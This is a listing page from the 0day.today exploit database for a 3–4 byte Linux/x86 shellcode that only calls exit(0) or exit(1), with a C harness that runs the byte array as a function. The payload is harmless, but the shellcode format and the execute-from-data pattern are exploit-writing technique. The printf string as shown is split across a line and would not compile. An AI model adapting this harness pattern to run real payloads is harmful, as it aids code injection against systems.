[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Linux/x86 - exit(0) / exit(1) Shellcode (3/4 bytes)

Author
TheWorm
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29546
Category
shellcode
Date add
16-01-2018
Platform
linux/x86
#include <stdio.h>
 
const char shellcode[]=
    "\x40"          // inc  %eax
//  "\x43"          // inc  %ebx    
    "\xcd\x80";     // int  $0x80
 
int main()
{
    printf  ("\n[+] Yet conditional (%eax==0) Linux/x86 exit(0) 3 bytes or
exit(1) 4 bytes"
        "\n[+] Date: 18/06/2009"
        "\n[+] Author: TheWorm"
        "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
    (*(void (*)()) shellcode)();
    return 0;
}

#  0day.today [2024-12-24]  #